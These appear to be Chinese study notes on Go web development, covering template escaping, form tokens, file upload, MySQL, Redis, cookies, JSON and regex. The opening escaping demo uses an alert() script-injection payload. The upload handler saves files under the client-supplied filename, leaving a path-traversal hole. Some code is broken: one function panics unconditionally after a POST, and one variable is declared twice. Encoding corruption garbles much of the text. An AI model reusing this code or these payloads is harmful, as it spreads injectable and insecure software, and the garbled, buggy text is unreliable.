import "html/template" ... t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) err = t.ExecuteTemplate(out, "T", template.HTML("<script>alert('you have been pwned')</script>")) //期待輸出結(jié)果 //Hello, <script>alert('you have been pwned')</script>! //現(xiàn)實(shí)輸出結(jié)果 //Hello, <script>alert('you have been pwned')</script>! //雖然書上的這個(gè)案例不對(duì),但是,,,找到了思路轉(zhuǎn)換成template.HTML后，變量的內(nèi)容也不會(huì)被轉(zhuǎn)義
轉(zhuǎn)義的例子：
import "html/template"t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) if err != nil {panic(err) } err = t.ExecuteTemplate(os.Stdout, "T", "<script>alert('you have been pwned')</script>") //期待結(jié)果Hello, <script>alert('you have been pwned')</script>!//這個(gè)輸出的記過是對(duì)的.... //結(jié)果Hello, <script>alert('you have been pwned')</script>!防止多次遞交表單
有時(shí)候網(wǎng)絡(luò)不太好的情況下,用戶可能會(huì)在提交時(shí),多次點(diǎn)擊提交按鈕,導(dǎo)致表單重復(fù)提交多次.
這會(huì)造成,重復(fù)的內(nèi)容保存了多次.對(duì)用戶而言是一個(gè)不好的體驗(yàn),對(duì)服務(wù)器而言多了很多無(wú)效數(shù)據(jù)和請(qǐng)求.
解決方案是在表單中添加一個(gè)帶有唯一值的隱藏字段。在驗(yàn)證表單時(shí)，先檢查帶有該唯一值的表單是否已經(jīng)遞交過了。如果是，拒絕再次遞交；如果不是，則處理表單進(jìn)行邏輯處理。另外，如果是采用了Ajax模式遞交表單的話，當(dāng)表單遞交后，通過javascript來(lái)禁用表單的遞交按鈕。
html代碼
<input type="checkbox" name="interest" value="football">足球 <input type="checkbox" name="interest" value="basketball">籃球 <input type="checkbox" name="interest" value="tennis">網(wǎng)球 用戶名:<input type="text" name="username"> 密碼:<input type="password" name="password"> <input type="hidden" name="token" value="{{.}}"> <input type="submit" value="登陸">我們?cè)谀０胬锩嬖黾恿艘粋€(gè)隱藏字段token，這個(gè)值我們通過MD5(時(shí)間戳)來(lái)獲取唯一值，然后我們把這個(gè)值存儲(chǔ)到服務(wù)器端(session來(lái)控制，我們將在第六章講解如何保存)，以方便表單提交時(shí)比對(duì)判定。
我們看到token已經(jīng)有輸出值，你可以不斷的刷新，可以看到這個(gè)值在不斷的變化。這樣就保證了每次顯示form表單的時(shí)候都是唯一的，用戶遞交的表單保持了唯一性
func login(w http.ResponseWriter, r *http.Request) {fmt.Println("method:", r.Method) //獲取請(qǐng)求的方法if r.Method == "GET" {crutime := time.Now().Unix()h := md5.New()io.WriteString(h, strconv.FormatInt(crutime, 10))token := fmt.Sprintf("%x", h.Sum(nil))t, _ := template.ParseFiles("login.gtpl")t.Execute(w, token)} else {//請(qǐng)求的是登陸數(shù)據(jù)，那么執(zhí)行登陸的邏輯判斷r.ParseForm()token := r.Form.Get("token")if token != "" {//驗(yàn)證token的合法性} else {//不存在token報(bào)錯(cuò)}fmt.Println("username length:", len(r.Form["username"][0]))fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //輸出到服務(wù)器端fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))template.HTMLEscape(w, []byte(r.Form.Get("username"))) //輸出到客戶端} }文件上傳
要通過form表單進(jìn)行上傳,別忘了設(shè)置enctype屬性
enctype屬性
- application/x-www-form-urlencoded 表示在發(fā)送前編碼所有字符（默認(rèn)）
- multipart/form-data 不對(duì)字符編碼。在使用包含文件上傳控件的表單時(shí)，必須使用該值。
- text/plain 空格轉(zhuǎn)換為 "+" 加號(hào)，但不對(duì)特殊字符編碼。
準(zhǔn)備HTML表單
<html> <head><title>上傳文件</title> </head> <body> <form enctype="multipart/form-data" action="/upload" method="post"><input type="file" name="uploadfile" /><input type="hidden" name="token" value="{{.}}"/><input type="submit" value="upload" /> </form> </body> </html>在服務(wù)端,我們?cè)黾右粋€(gè)http.HandleFuc和一個(gè)upload函數(shù)
http.HandleFunc("/upload", upload)// 處理/upload 邏輯 func upload(w http.ResponseWriter, r *http.Request) {fmt.Println("method:", r.Method) //獲取請(qǐng)求的方法//判斷請(qǐng)求方式if r.Method == "GET" {//get請(qǐng)求,獲取模板展示//獲取當(dāng)前時(shí)間戳crutime := time.Now().Unix()h := md5.New()io.WriteString(h, strconv.FormatInt(crutime, 10))token := fmt.Sprintf("%x", h.Sum(nil))//這個(gè)應(yīng)該是讀取靜態(tài)頁(yè)面t, _ := template.ParseFiles("upload.gtpl")//打印頁(yè)面內(nèi)容,同時(shí)輸出變量到頁(yè)面t.Execute(w, token)} else {//其他請(qǐng)求,代表提交數(shù)據(jù)//調(diào)用r.ParseMultipartForm,里面的參數(shù)maxMemory,調(diào)用ParsemultipartForm之后,上傳的文件存儲(chǔ)在maxMemory大小的內(nèi)存里,如果文件大小超過了maxMemory,那么剩下的部分將存儲(chǔ)在系統(tǒng)的臨時(shí)文件里,我們通過r.FormFile獲取上面的文件句柄,然后利用使用io.Copy來(lái)存儲(chǔ)文件//獲取其他非文件字段信息的時(shí)候就不需要調(diào)用r.ParseForm，因?yàn)樵谛枰臅r(shí)候Go自動(dòng)會(huì)去調(diào)用。而且ParseMultipartForm調(diào)用一次之后，后面再次調(diào)用不會(huì)再有效果。r.ParseMultipartForm(32 << 20)//通過上傳的文件名,獲取上傳的文件file, handler, err := r.FormFile("uploadfile")if err != nil {fmt.Println(err)return}defer file.Close()fmt.Fprintf(w, "%v", handler.Header)//保存文件,同時(shí)賦予文件666的權(quán)限//openFile和open的地方在于open只能用來(lái)讀取文件,handler.Filename獲取文件名//os.O_WRONLY | os.O_CREATE | O_EXCL 【如果已經(jīng)存在，則失敗】//os.O_WRONLY | os.O_CREATE 【如果已經(jīng)存在，會(huì)覆蓋寫，不會(huì)清空原來(lái)的文件，而是從頭直接覆蓋寫】//os.O_WRONLY | os.O_CREATE | os.O_APPEND 【如果已經(jīng)存在，則在尾部添加寫】//這里這個(gè)handler.Filename,會(huì)獲取到包括路徑在內(nèi)的文件名,所以我改成了時(shí)間f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666) // 此處假設(shè)當(dāng)前目錄下已存在test目錄if err != nil {fmt.Println(err)return}defer f.Close()io.Copy(f, file)} }通過上面的實(shí)例我們可以看到,上傳文件主要三部處理
文件的Handler時(shí)multipart.FileHeader,里面存儲(chǔ)了如下結(jié)構(gòu)信息
type FileHeader struct {Filename stringHeader textproto.MIMEHeader// contains filtered or unexported fields }使用go作為客戶端,來(lái)上傳文件
下面展示了客戶端如何向服務(wù)器上傳一個(gè)文件的例子，
客戶端通過multipart.Write把文件的文本流寫入一個(gè)緩存中，然后調(diào)用http的Post方法把緩存?zhèn)鞯椒?wù)器。
如果要添加更多字段,如:username之類的要同時(shí)寫入，可以調(diào)用multipart的WriteField方法添加字段。
package mainimport ("bytes""fmt""io""io/ioutil""mime/multipart""net/http""os" )//上傳函數(shù) //下面的例子詳細(xì)展示了客戶端如何向服務(wù)器上傳一個(gè)文件的例子，客戶端通過multipart.Write把文件的文本流寫入一個(gè)緩存中，然后調(diào)用http的Post方法把緩存?zhèn)鞯椒?wù)器。 func uploadFile(filename string, targetUrl string) error {//創(chuàng)建控件bodyBuf := &bytes.Buffer{}//創(chuàng)建一個(gè)可寫入資源,吐槽一下,multipart這個(gè)包,設(shè)計(jì)的太二筆了...bodyWrite := multipart.NewWriter(bodyBuf)//從文件中讀取數(shù)據(jù), 創(chuàng)建表單文件名fileWrite, err := bodyWrite.CreateFormFile("uploadfile", filename)if err != nil {return err}//打開文件,.open的形式打開,只能用作讀取fh, err := os.Open(filename)if err != nil {return err}defer fh.Close()//ioCopy,從fh復(fù)制到fileWrite，直到到達(dá)EOF或發(fā)生錯(cuò)誤,返回拷貝的字節(jié)喝遇到的第一個(gè)錯(cuò)誤._, err = io.Copy(fileWrite, fh)if err != nil {return err}//返回http的請(qǐng)求需要的類型contentType := bodyWrite.FormDataContentType()bodyWrite.Close()//開始上傳response, err := http.Post(targetUrl, contentType, bodyBuf)panic(err)if err != nil {return err}defer response.Body.Close()responseBody, err := ioutil.ReadAll(response.Body)if err != nil {return err}fmt.Println(response.Status)fmt.Println(string(responseBody))return nil }func main() {targetUrl := "http://localhost:999/upload"//filename := "/Users/liuhao/Desktop/arraycomslice.png"filename := "/Users/liuhao/Documents/圖/0BC4C4D581D1895A6BD859FDE53FE72A.jpg"result := uploadFile(filename, targetUrl)fmt.Println(result)}數(shù)據(jù)庫(kù)操作
Go沒有內(nèi)置的驅(qū)動(dòng)支持任何的數(shù)據(jù)庫(kù)，但是Go定義了database/sql接口，我們可以基于驅(qū)動(dòng)接口開發(fā)相應(yīng)數(shù)據(jù)庫(kù)的驅(qū)動(dòng).
Go database/sql tutorial 文檔,提供了慣用的范例及詳細(xì)的說(shuō)明
database/sql接口
sql.Register 注冊(cè)數(shù)據(jù)庫(kù)驅(qū)動(dòng)
使用MySQL數(shù)據(jù)庫(kù)
目前go中支持MySQL的驅(qū)動(dòng),特別多.不過都是第三方提供的.畢竟官方只提供了基礎(chǔ)驅(qū)動(dòng).
有的是用的官方驅(qū)動(dòng)的封裝,而有的則是實(shí)現(xiàn)了自己的接口
當(dāng)前比較流行的有下列三種:
- https://github.com/go-sql-driver/mysql 支持database/sql，全部采用go寫。
- https://github.com/ziutek/mymysql 支持database/sql，也支持自定義的接口，全部采用go寫。
- https://github.com/Philio/GoMySQL 不支持database/sql，自定義接口，全部采用go寫。
下面主要是用第一種為例來(lái)講解,推薦以后也用這個(gè),因?yàn)?
- 這個(gè)驅(qū)動(dòng)比較新，維護(hù)的比較好
- 完全支持database/sql接口
- 支持keepalive，保持長(zhǎng)連接,mymysql也支持keepalive，但不是線程安全的，這個(gè)從底層就支持了keepalive。
安裝方式:
go get -u -v github.com/go-sql-driver/mysql #可以安裝gopm,使用gopm來(lái)安裝 gopm get -u -v -g github.com/go-sql-driver/mysql準(zhǔn)備SQL語(yǔ)句
CREATE DATABASE `test` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;CREATE TABLE `userinfo` (`uid` INT(10) NOT NULL AUTO_INCREMENT,`username` VARCHAR(64) NULL DEFAULT NULL,`department` VARCHAR(64) NULL DEFAULT NULL,`created` DATE NULL DEFAULT NULL,PRIMARY KEY (`uid`) );CREATE TABLE `userdetail` (`uid` INT(10) NOT NULL DEFAULT '0',`intro` TEXT NULL,`profile` TEXT NULL,PRIMARY KEY (`uid`) );database/sql操作MySQL數(shù)據(jù)的案例
package mainimport ("database/sql""fmt"_ "github.com/go-sql-driver/mysql" )func checkErr(err error) {if err != nil {panic(err)}}func addUserInfo() {//連接MySQL, 第一個(gè)參數(shù)是數(shù)據(jù)庫(kù)類型,第二個(gè)是數(shù)據(jù)連接方式,里面的()括號(hào)是必須的,沒有密碼就留空,格式為:用戶:密碼@tcp(鏈接:端口)/數(shù)據(jù)庫(kù)名稱?charset=utf8db, err := sql.Open("mysql", "root:@tcp(127.0.0.1:3306)/test?charset=utf8")checkErr(err)//拼裝SQLstmt, err := db.Prepare("insert userinfo set username=?, department=?,created=?")checkErr(err)//填充數(shù)據(jù),執(zhí)行操作res, err := stmt.Exec("nihao", "開發(fā)部", "2017-01-01")checkErr(err)//返回插入的IDid, err := res.LastInsertId()checkErr(err)fmt.Println("插入數(shù)據(jù)返回的ID:")fmt.Println(id) }func modifyUserInfo(uid string) {//連接MySQLdb, err := sql.Open("mysql", "root:@tcp(127.0.0.1:3306)/test?charset=utf8")checkErr(err)//拼裝SQLstmt, err := db.Prepare("update userinfo set username=? where uid=?")checkErr(err)//修改數(shù)據(jù)res, err := stmt.Exec("shaKaLaKa", uid)checkErr(err)//獲取受影響行數(shù)affect, err := res.RowsAffected()checkErr(err)fmt.Println("修改數(shù)據(jù)的受影響行數(shù):")fmt.Println(affect) }func getUserInfo() {//連接MySQLdb, err := sql.Open("mysql", "root:@tcp(127.0.0.1:3306)/test?charset=utf8")checkErr(err)//拼裝SQLrows, err := db.Query("select * from userinfo")checkErr(err)//遍歷結(jié)果集for rows.Next() {var uid intvar username stringvar department stringvar created stringerr = rows.Scan(&uid, &username, &department, &created)checkErr(err)fmt.Println("查詢數(shù)據(jù)的結(jié)果集:")fmt.Println(uid, username, department, created)} }func delUserInfo(uid string) {//連接MySQLdb, err := sql.Open("mysql", "root:@tcp(127.0.0.1:3306)/test?charset=utf8")checkErr(err)//拼裝SQLstmt, err := db.Prepare("delete from userinfo where uid=?")checkErr(err)//執(zhí)行SQLres, err := stmt.Exec(uid)//獲取受影響行數(shù)affect, err := res.RowsAffected()checkErr(err)fmt.Println("刪除數(shù)據(jù)時(shí)返回的受影響行數(shù)")fmt.Println(affect)db.Close() }func transactionDel(uid string) {//連接MySQLdb, err := sql.Open("mysql", "root:@tcp(127.0.0.1:3306)/test?charset=utf8")checkErr(err)//開啟事務(wù)tran, err := db.Begin()checkErr(err)res, err := tran.Exec("delete from userinfo where uid=?", uid)if err != nil {tran.Rollback()panic(err)}//獲取受影響行數(shù)affect, err := res.RowsAffected()checkErr(err)//提交事務(wù)tran.Commit()//tran.Rollback()fmt.Println(affect) } func main() {uid := "3"addUserInfo()modifyUserInfo(uid)getUserInfo()//delUserInfo(uid)transactionDel(uid)}上面用到的幾個(gè)函數(shù):
- sql.Open()函數(shù)用來(lái)打開一個(gè)注冊(cè)過的數(shù)據(jù)庫(kù)驅(qū)動(dòng)，go-sql-driver中注冊(cè)了mysql這個(gè)數(shù)據(jù)庫(kù)驅(qū)動(dòng)， 第二個(gè)參數(shù)是DSN(Data Source Name)，它是go-sql-driver定義的一些數(shù)據(jù)庫(kù)鏈接和配置信息
- db.Prepare()函數(shù)用來(lái)返回準(zhǔn)備要執(zhí)行的sql操作，然后返回準(zhǔn)備完畢的執(zhí)行狀態(tài)。
- db.Prepare()帶的?和PHP的pdo中的預(yù)處理一樣,一定程度上課防止SQL注入.
- db.Query()函數(shù)用來(lái)直接執(zhí)行Sql返回Rows結(jié)果。
- stmt.Exec()函數(shù)用來(lái)執(zhí)行stmt準(zhǔn)備好的SQL語(yǔ)句
使用NOSQL數(shù)據(jù)庫(kù)
Redis
Go目前支持redis的驅(qū)動(dòng)有如下
- go get github.com/gomodule/redigo/ (推薦)
- https://github.com/go-redis/redis
- https://github.com/hoisie/redis
- https://github.com/alphazero/Go-Redis
- https://github.com/simonz05/godis
redisgo驅(qū)動(dòng)操作案例
go get -v -u go get github.com/gomodule/redigo/redis
這個(gè)操作方式太過復(fù)雜,全程使用連接池操作
package mainimport ("fmt""github.com/gomodule/redigo/redis""os""syscall""time""os/signal" )var Pool *redis.Poolfunc init() {redisHost := "www.cetest.com:6379"Pool = newPool(redisHost)closeConnect() }//重寫自帶的連接池 func newPool(server string) *redis.Pool {return &redis.Pool{MaxIdle: 3, //最大空閑連接數(shù)IdleTimeout: 240 * time.Second, //最大空閑等待時(shí)間Dial: func() (redis.Conn, error) {c, err := redis.Dial("tcp", server)if err != nil {return nil, err}return c, err},TestOnBorrow: func(c redis.Conn, t time.Time) error {_, err := c.Do("PING")return err},} }//重寫自帶的關(guān)閉方法 func closeConnect() {c := make(chan os.Signal, 1)signal.Notify(c, os.Interrupt)signal.Notify(c, syscall.SIGTERM)signal.Notify(c, syscall.SIGKILL)go func() {<-cPool.Close()os.Exit(0)}() } //重寫自帶的連接方法 func Get(key string) ([]byte, error) {conn := Pool.Get()defer conn.Close()var data []bytedata, err := redis.Bytes(conn.Do("GET", key))if err != nil {return data, fmt.Errorf("error get key %s:%v", key, err)}return data, err }func main() {test, err := Get("test")fmt.Println(test, err) }redigo官方提供的調(diào)用方式
package mainimport ("fmt""github.com/gomodule/redigo/redis""reflect" )func checkErr(err error) {if err != nil {fmt.Println(err)panic(err)} }var conn redis.Connfunc init() {//連接到Redis,網(wǎng)絡(luò)連接方式,連接地址,選擇庫(kù)號(hào)connect, err := redis.Dial("tcp", "127.0.0.1:6379", redis.DialDatabase(3))checkErr(err)conn = connect }func set(key string, value string) bool {//連接到Redis,網(wǎng)絡(luò)連接方式,連接地址,選擇庫(kù)號(hào)//conn, err := redis.Dial("tcp", "127.0.0.1:6379", redis.DialDatabase(3))//checkErr(err)//設(shè)置數(shù)據(jù)_, err := conn.Do("set", key, value)checkErr(err)//關(guān)閉連接return true }func get(key string) string {//連接到Redis//conn, err := redis.Dial("tcp", "127.0.0.1:6379", redis.DialDatabase(3))//checkErr(err)//獲取數(shù)據(jù)result, err := redis.String(conn.Do("get", key))checkErr(err)//關(guān)閉連接reflect.TypeOf(result)return result }func expire(key string, expire int) bool {//conn, err := redis.Dial("tcp", "127.0.0.1:6379", redis.DialDatabase(3))//checkErr(err)result, err := conn.Do("expire", key, expire)checkErr(err)//這里因?yàn)閞esult默認(rèn)是一個(gè)interface,所以下面用了斷言,來(lái)判斷是不是一個(gè)Int//但是當(dāng)result為Int的時(shí)候,返回的是一個(gè)int64value, ok := result.(int64)fmt.Println(ok)if ok {if value <= 0 {return false}}reflect.TypeOf(result)return true }func mGet(keys ...interface{}) {fmt.Println(reflect.TypeOf(keys))//這里的這個(gè)Keys后面必須要有..., 這三個(gè)點(diǎn),代表將keys打散傳入,沒有三個(gè)點(diǎn),代表傳入一個(gè)集合//比如下面這個(gè)args{},如果要當(dāng)做多個(gè)參數(shù)同時(shí)傳入,就必須要在后面加...否則就是一個(gè)參數(shù)//var args= []interface{}{// "name",// "sex",//}result, err := redis.Strings(conn.Do("mget", keys...))checkErr(err)res_type := reflect.TypeOf(result)fmt.Printf("res type : %s \n", res_type)fmt.Printf("MGET name: %s \n", result)//return result }func lpush(values ...interface{}) {_, err := conn.Do("lpush", values)checkErr(err)fmt.Println("lpush ok") }func lpop(key string) {result, err := redis.String(conn.Do("lpop", key))checkErr(err)fmt.Printf("%s", result)fmt.Println("lpop ok")reflect.TypeOf(result) }func hset() {_, err := conn.Do("hset", "student", "name", "wd", "age", 22)checkErr(err)fmt.Println("hset ok")}func hget() {result, err := redis.Int64(conn.Do("hget", "student", "age"))checkErr(err)fmt.Printf("%s", result)fmt.Println(reflect.TypeOf(result)) }func main() {defer conn.Close()//println(set("name", "ssss"))//println(set("sex", "1111"))//println(get("name"))//println(expire("name", 2))//mGet("name", "sex")}管道
管道操作可以理解為并發(fā)操作，并通過Send()，Flush()，Receive()三個(gè)方法實(shí)現(xiàn)。
客戶端可以使用send()方法一次性向服務(wù)器發(fā)送一個(gè)或多個(gè)命令， 命令發(fā)送完畢時(shí)，
使用flush()方法將緩沖區(qū)的命令輸入一次性發(fā)送到服務(wù)器，
客戶端再使用Receive()方法依次按照先進(jìn)先出的順序讀取所有命令操作結(jié)果。
- Send：發(fā)送命令至緩沖區(qū)
- Flush：清空緩沖區(qū)，將命令一次性發(fā)送至服務(wù)器
- Recevie：依次讀取服務(wù)器響應(yīng)結(jié)果，當(dāng)讀取的命令未響應(yīng)時(shí)，該操作會(huì)阻塞。
事務(wù)操作
MULTI, EXEC,DISCARD和WATCH是構(gòu)成Redis事務(wù)的基礎(chǔ)，可以通過管道功能來(lái)使用這些命令
- MULTI：開啟事務(wù)
- EXEC：執(zhí)行事務(wù)
- DISCARD：取消事務(wù)
- WATCH：監(jiān)視事務(wù)中的鍵變化，一旦有改變則取消事務(wù)。
連接池
redis連接池是通過pool結(jié)構(gòu)體實(shí)現(xiàn)的,下面是對(duì)源碼一點(diǎn)參數(shù)添加注釋：
- Dial func() (Conn, error) //連接方法
- MaxIdle int //最大的空閑連接數(shù)，即使沒有redis連接時(shí)依然可以保持N個(gè)空閑的連接，而不被清除，隨時(shí)處于待命狀態(tài)
- MaxActive int //最大的激活連接數(shù)，同時(shí)最多有N個(gè)連接
- IdleTimeout time.Duration //空閑連接等待時(shí)間，超過此時(shí)間后，空閑連接將被關(guān)閉
- Wait bool //當(dāng)配置項(xiàng)為true并且MaxActive參數(shù)有限制時(shí)候，使用Get方法等待一個(gè)連接返回給連接池
session處理
操作cookie
原理什么的就不說(shuō)了,沒什么好說(shuō)的.
go設(shè)置cookie
通過使用net/http包中的SetCookie來(lái)設(shè)置
http.Setcookie(w ResponseWriter, cookie *Cookie)上面的w需要寫入一個(gè)response,cookie是一個(gè)struct,下面是cookie對(duì)象結(jié)構(gòu)
type Cookie struct {Name stringValue stringPath stringDomain stringExpires time.TimeRawExpires string// MaxAge=0 means no 'Max-Age' attribute specified. // MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0' // MaxAge>0 means Max-Age attribute present and given in secondsMaxAge intSecure boolHttpOnly boolRaw stringUnparsed []string // Raw text of unparsed attribute-value pairs }操作cookie的案例
http://localhost:999/setcookie?name=aaa&value=111
http://localhost:999/getcookie?name=aaa
http://localhost:999/gettotalcookie
package mainimport ("fmt""net/http""time" )//設(shè)置cookie func setCookie(w http.ResponseWriter, r *http.Request) {r.ParseForm()var name stringvar value stringif len(r.Form["name"]) > 0 {name = r.Form["name"][0]}if len(r.Form["value"]) > 0 {value = r.Form["value"][0]}fmt.Printf("%v---%T\n", name, name)fmt.Printf("%v---%T\n", value, value)//獲取當(dāng)前時(shí)間格式 2017-07-26 15:32:04.251666 +0800 CST m=+5.348925672expiration := time.Now()fmt.Println(expiration)//在原來(lái)的基礎(chǔ)上增加一年,這個(gè)連在一起寫就明白了expiration := time.Now().AddDate(1, 0, 0)expiration = expiration.AddDate(1, 0, 0)fmt.Println(expiration)cookie := http.Cookie{Name: name, Value: value, Expires: expiration}http.SetCookie(w, &cookie)fmt.Fprint(w, "this is set cookie") }//獲取cookie func getCookie(w http.ResponseWriter, r *http.Request) {r.ParseForm()var name stringif len(r.Form["name"]) > 0 {name = r.Form["name"][0]}fmt.Println(name)cookie, _ := r.Cookie(name)fmt.Fprint(w, "get cookie", "\n", cookie) }//獲取所有的cookie func getTotalCookie(w http.ResponseWriter, r *http.Request) {fmt.Fprintf(w, "get total cookie\n")for _, v := range r.Cookies() {fmt.Fprint(w, v.Name, "---", v.Value)}}func main() {http.HandleFunc("/setcookie", setCookie)http.HandleFunc("/getcookie", getCookie)http.HandleFunc("/gettotalcookie", getTotalCookie)err := http.ListenAndServe(":999", nil)if err != nil {panic(err)}}操作session
目前GO沒有針對(duì)session的包,只能自己來(lái)做
//todo
防止session被劫持
- sessionID的值只允許cookie設(shè)置
- 禁止URL重置方式設(shè)置sessionID
- cookie的httponly為true,可以禁止其它人在瀏覽器獲取到該cookie信息
在頁(yè)面中添加隱藏字段,存儲(chǔ)token,每次提交都重新驗(yàn)證該token
h := md5.New() salt:="astaxie%^7&8888" io.WriteString(h,salt+time.Now().String()) token:=fmt.Sprintf("%x",h.Sum(nil)) if r.Form["token"]!=token{//提示登錄 } sess.Set("token",token)文本文件處理
XML處理
//todo
JSON處理
解析JSON的時(shí)候要主要JSON的字段類型,建議直接和對(duì)方約定全部使用字符串.
go的JSON包中的這個(gè)函數(shù)可以將JSON轉(zhuǎn)換為map,interface,結(jié)構(gòu)體
func Unmarshal(data []byte, v interface{}) errorgo的JSON包中的這個(gè)函數(shù)可以將結(jié)構(gòu)體生成JSON
主要: Marshal函數(shù)只有在轉(zhuǎn)換成功的時(shí)候才會(huì)返回?cái)?shù)據(jù)，在轉(zhuǎn)換的過程中我們需要注意幾點(diǎn)：
- JSON對(duì)象只支持string作為key，所以要編碼一個(gè)map，那么必須是map[string]T這種類型(T是Go語(yǔ)言中任意的類型)
- Channel, complex和function是不能被編碼成JSON的
- 嵌套的數(shù)據(jù)是不能編碼的，不然會(huì)讓JSON編碼進(jìn)入死循環(huán)
- 指針在編碼的時(shí)候會(huì)輸出指針指向的內(nèi)容，而空指針會(huì)輸出null
將JSON解析到結(jié)構(gòu)體
這種方式,必須要事先知道JSON的所有字段才行.因?yàn)橐榷x結(jié)構(gòu)體
package mainimport ("encoding/json""fmt" )type Server struct {ServerName stringServerIP string }type ServersLice struct {Servers []Server }func main() {//解析json到結(jié)構(gòu)體中,這種情況需要事先知道JSON的所有字段var s ServersLicestr := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}`//該函數(shù)可以解析json字符串到變量s中,這里的變量s是一個(gè)結(jié)構(gòu)體json.Unmarshal([]byte(str), &s)fmt.Println(s)fmt.Println(s.Servers[0].ServerName)fmt.Println(s.Servers[0].ServerIP)}解析到interface
這種方式不需要知道JSON的所有字段,利用interface{}可以用來(lái)存儲(chǔ)任意數(shù)據(jù)類型的對(duì)象的特性
JSON包中采用map[string]interface{}和[]interface{}結(jié)構(gòu)來(lái)存儲(chǔ)任意的JSON對(duì)象和數(shù)組
Go類型和JSON類型的對(duì)應(yīng)關(guān)系如下：
- bool 代表 JSON booleans,
- float64 代表 JSON numbers,
- string 代表 JSON strings,
- nil 代表 JSON null.
將JSON解析到map中,和interface一樣
package mainimport ("fmt""encoding/json" )func main() {b := []byte(`{"IP": "127.0.0.1", "name": "sss"}`)m := make(map[string]string)//將JSON解析到map中err := json.Unmarshal(b, &m)if err != nil {panic(err)}fmt.Println("m:", m)for k, v := range m {fmt.Println(k, ":", v)}//直接取值,可能會(huì)造成變量類型有誤而出錯(cuò),但是如果和對(duì)方商量好的話,是沒問題的fmt.Println(m["IP"])}生成JSON
主要是將結(jié)構(gòu)體解析成JSON
從結(jié)構(gòu)體生成的JSON有一個(gè)問題,JSON數(shù)據(jù)內(nèi)的所有字段名都是首字母大寫的,這是因?yàn)槲覀兊臋C(jī)構(gòu)提是首字母大寫的,而如果你不是大寫的在go就是私有屬性了.
如果想要用小寫,必須要在結(jié)構(gòu)體的屬性上加上struct tag
注意: 在使用struct tag的時(shí)候要注意:
- 字段的tag是"-"，那么這個(gè)字段不會(huì)輸出到JSON ta- g中帶有自定義名稱，那么這個(gè)自定義名稱會(huì)出現(xiàn)在JSON的字段名中，例如上面例子中serverName
- tag中如果帶有"omitempty"選項(xiàng)，那么如果該字段值為空，就不會(huì)輸出到JSON串中
- 如果字段類型是bool, string, int, int64等，而tag中帶有",string"選項(xiàng)，那么這個(gè)字段在輸出到JSON的時(shí)候會(huì)把該字段對(duì)應(yīng)的值轉(zhuǎn)換成JSON字符串
主要: Marshal函數(shù)只有在轉(zhuǎn)換成功的時(shí)候才會(huì)返回?cái)?shù)據(jù)，在使用時(shí)要注意：
- JSON對(duì)象只支持string作為key，所以要編碼一個(gè)map，那么必須是map[string]T這種類型(T是Go語(yǔ)言中任意的類型)
- Channel, complex和function是不能被編碼成JSON的
- 嵌套的數(shù)據(jù)是不能編碼的，不然會(huì)讓JSON編碼進(jìn)入死循環(huán)
- 指針在編碼的時(shí)候會(huì)輸出指針指向的內(nèi)容，而空指針會(huì)輸出null
正則處理
go的正則表達(dá)式和其他語(yǔ)言的有所不同,特別是和PHP的不同,因?yàn)間o使用的時(shí)RE2標(biāo)準(zhǔn)
如果們可以使用strings包來(lái)進(jìn)行搜索(Contains、Index)、替換(Replace)和解析(Split、Join)等操作,盡量不要用正則
簡(jiǎn)單的案例
package mainimport ("fmt""regexp" )const text = ` My email is terraplanets@gmail.com email is aaa@aaa.com email is ss@sss.com email is dd@dd.com.cn `func main() {//這里填入一個(gè)正則表達(dá)式,返回一個(gè)正則表達(dá)式的匹配器,和錯(cuò)誤信息//re, err := regexp.Compile("terraplanets@gmail.com")//這里和上面的一樣,不一樣的地方在于,如果表達(dá)式不對(duì),會(huì)直接panic 一般自己寫的表達(dá)式用MustCompile(),否則用Compile()處理錯(cuò)誤信息//re := regexp.MustCompile("terraplanets@gmail.com")//這里的如果要匹配'.',不把他當(dāng)做一個(gè)正則表達(dá)式字符的話需要用\\.,否則會(huì)被認(rèn)為是golang的轉(zhuǎn)義字符,也可以向下面那樣使用``包含字符串//中括號(hào)的中'.'不用轉(zhuǎn)義之類的操作//re := regexp.MustCompile("[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9.]+")//re := regexp.MustCompile(`[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z0-9.]+`)//子匹配re := regexp.MustCompile(`([a-zA-Z0-9]+)@([a-zA-Z0-9]+)(\.[a-zA-Z0-9.]+)`)//輸入原字符串,在源字符串中,通過正則表達(dá)式獲取符合要求的字符串//只匹配第一個(gè),返回一個(gè)string//match := re.FindString(text)//匹配所有,返回一個(gè)list//match := re.FindAllString(text, -1)//子匹配,匹配()中的內(nèi)容,返回一個(gè)二維的list,第二維里面第一個(gè)是匹配到的整個(gè)字符串,第二個(gè)是第一個(gè)(),第三個(gè)是第二給(),以此類推match := re.FindAllStringSubmatch(text, -1)//fmt.Println(match)for _, m := range match {fmt.Println(m)} }通過正則判斷是否匹配
regexp包中含有三個(gè)函數(shù)用來(lái)判斷是否匹配，如果匹配返回true，否則返回false
下面的三個(gè)參數(shù)功能一樣,就是判斷pattern是否和輸入源匹配，匹配的話就返回true，如果解析正則出錯(cuò)則返回error。
三個(gè)函數(shù)沒有不同,唯一的不同是輸入源分別是byte slice、RuneReader和string。
func Match(pattern string, b []byte) (matched bool, error error) func MatchReader(pattern string, r io.RuneReader) (matched bool, error error) func MatchString(pattern string, s string) (matched bool, error error)案例,判斷輸入的是否是一個(gè)IP地址
這里用,Match(Reader|String)來(lái)判斷一些字符串,非常好用非常簡(jiǎn)單
